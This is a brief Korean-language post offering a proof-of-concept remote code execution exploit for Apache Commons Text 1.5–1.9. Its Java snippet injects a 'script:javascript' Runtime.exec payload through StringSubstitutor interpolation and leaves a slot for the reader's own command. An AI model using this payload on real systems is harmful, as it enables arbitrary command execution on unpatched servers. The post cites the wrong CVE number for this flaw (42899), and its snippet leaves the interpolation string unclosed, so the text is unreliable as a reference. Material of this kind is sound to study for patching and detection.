
CVE-2022-42899에 대한 개념 증명 익스플로잇, StringSubstitutor 보간과 script:javascript 페이로드를 통해 Apache Commons Text 1.5-1.9에서 원격 코드 실행을 시연합니다.
Apache Common Text 버전 1.5에서 1.9까지 원격 코드 실행 취약점 CVE-2022-42899이 있습니다.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // 여기에 실행할 payload를 전달하세요 (예: 'mkdir /tmp/cve-2022-42899')